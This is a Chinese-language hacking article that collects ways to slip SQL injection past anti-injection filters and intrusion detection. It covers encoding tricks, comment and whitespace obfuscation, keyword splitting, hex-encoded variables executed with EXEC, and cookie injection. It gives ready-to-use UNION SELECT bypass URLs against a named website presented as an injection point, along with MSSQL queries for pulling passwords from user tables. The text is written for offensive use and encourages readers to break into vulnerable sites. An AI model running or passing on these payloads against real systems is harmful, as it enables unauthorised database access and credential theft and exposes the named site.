几种方法绕过防注入

1、运用编码技术绕过
如URLEncode编码，ASCII编码绕过。
例如or 1=1即
%6f%72%20%31%3d%31
而Test也可以为asciil编码：
CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
2、通过空格绕过
如两个空格代替一个空格，用Tab代替空格等，或者删除所有空格，如
or'' swords'' =‘swords''，由于mssql的松散性，我们可以把or ''swords'' 之间的空格去掉，并不影响运行。
3、运用字符串判断代替
用经典的or 1=1判断绕过,
如
or ''swords'' =''swords''
这个方法就是网上在讨论的。
4、通过类型转换修饰符N绕过
可以说这是一个不错的想法，他除了能在某种程度上绕过限制，而且还有别的作用，大家自己好好想想吧。关于利用，
如
or ''swords'' = N'' swords''
，大写的N告诉mssql server 字符串作为nvarchar类型，它起到类型转换的作用，并不影响注射语句本身，但是可以避过基于知识的模式匹配IDS。
5、通过+号拆解字符串绕过
效果值得考证，但毕竟是一种方法。如
or ''swords'' =‘sw'' +'' ords'' ；EXEC(‘IN'' +'' SERT INTO ''+'' …..'' )
6、通过LIKE绕过
以前怎么就没想到呢？
如
or''swords'' LIKE ''sw''
显然可以很轻松的绕过“=”“>”的限制……
7、通过IN绕过
与上面的LIKE的思路差不多,
如
or ''swords'' IN (''swords'')

8、通过BETWEEN绕过
如
or ''swords'' BETWEEN ''rw'' AND ''tw''
9、通过>或者<绕过
or ''swords'' > ''sw''
or ''swords'' < ''tw''
or 1<3
……
10、运用注释语句绕过
用/**/代替空格，如：UNION /**/ Select /**/user，pwd，from tbluser
用/**/分割敏感词，如：U/**/ NION /**/ SE/**/ LECT /**/user，pwd from tbluser
11、用HEX绕过，一般的IDS都无法检测出来
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
综上所诉，当你在遇到工具派不上用场，但却存在注入漏洞的网站时，不妨试试用手工检测的方法，这是一种思路上的突破，既锻炼了你的能力，也开阔了你的思 维，成功与否或许就显得不那么重要了，成功拿下有多重因素决定，需要一定的手工注入技巧，还有一些其他的客观因素。相信这篇文章对你或多或少有些许的帮 助。

 

11,声明变量

 

declare @test varchar(50)
set @test='s e l e c t'
set @test=replace(@test,' ','')
set @test=@test+' * from sysobjects where xtype=''u'''

print @test
exec(@test)

新方法收集：

/*=========================PHP注入点===================================*/
注入点：
http://cleopatra-sy.com/index.php?content=more_product&id=-17

常规的注射手法：  
http://cleopatra-sy.com/index.php?content=more_product&id=-17+UNION+SELECT+1,2, 
3,4,5,6-- 

过滤 UNION和SELECT 情况下：

 

方法一：
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/**//**//*!uNiOn*//**/
/**//*!sElEcT*//**//**/1,2,3,4,5,6--  
                                                                                                          
 方法二：
http://cleopatra-sy.com/index.php?content=more_product&id=-17+/*U*//*n*//*i*//*o*//*n
*//*t*/+/*s*//*e*//*l*//*e*//*c*//*t*/+1,2,3,4,5,6--     

方法三：                                                                                            

http://cleopatra-sy.com/index.php?content=more_product&id=-17+concat(u,n,i,o,n)+conca
t(s,e,l,e,c,t)+all+1,2,3,4,5,6--  

方法四：

http://cleopatra-sy.com/index.php?content=more_product&id=-17   and   (select   1)=(select  
0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 
AAAAAAAAAAAAAAAA)+/*!union*/+select+1,2,3,4,5,6--+-

 

 

 

/*===========================MSSQL===========================*/

绕过MSSQL防注入的一些解决办法


1.编码处理
2.语句变换
3.其他

编码处理

关于编码问题在google中实在是搜的是数不胜数，不过编码也有很多，这里就简单的说下常用的几种吧：
1)Urlencode 这个编码很常见了吧，如%31%3d%31，不过在绕过防注入中效果确实不太好，除非服务器只是对浏览器中的url地址进行了判断
2)ASCII 这个一般情况下用的稍微多点，char(xxx)大家都应该非常熟悉，里面加上相应的ascii码并用+连接多个就可以了
3)Hex 一个非常经典的绕过技术，不过由于mssql没有像MySQL提供unhex()这样的函数，所以使用上要求语句须支持分句，将其定义后然后赋值就可以使用了


语句变换

实现某个功能我们可以通过不同的语句来实现，其中一种可能就有适合当前环境下的语句，看看下面的sql语句吧，同时也是我在注入过程中经常用到的
select password from users
convert(int,select password from users)
这样就可能让我们获取到密码。不要着急，这只是一个变换句子的例子，现在我们来看看如果在防注入了过滤了某些查询的关键字怎么办呢？
select password from users //由于过滤了password无法执行
declare @pw varchar(1000) set @pw=0×70617373776F7264; select @pw form users; //这样通过对特别字符进行hex处理就能绕过，主要应对比较特别的情况，如IDS之类的安全设备，配合其他方式绕过防注入也是非常不错的


其他

除此之外，我们还可以通过一些比较特别的方法来绕过，如in、between等等，例如过滤了select，看下面
select password from users //过滤select，无法执行
s%e%l%e%c%t password from users //通过%连接
“sel”+”ect” password from users //通过+来连接
se/**/lect password from users //通过/**/来连接

其次，在一些防注入中由于脚本没有过滤cookie提交，由此我们可以通过cookie来进行注入，其实方法真的很多，想上次‘的过来问题最终也是通过语句变换的方式解决了，sql语句的灵活运行在某些时候真的很暴力，欢迎各位就以上几点进行探讨。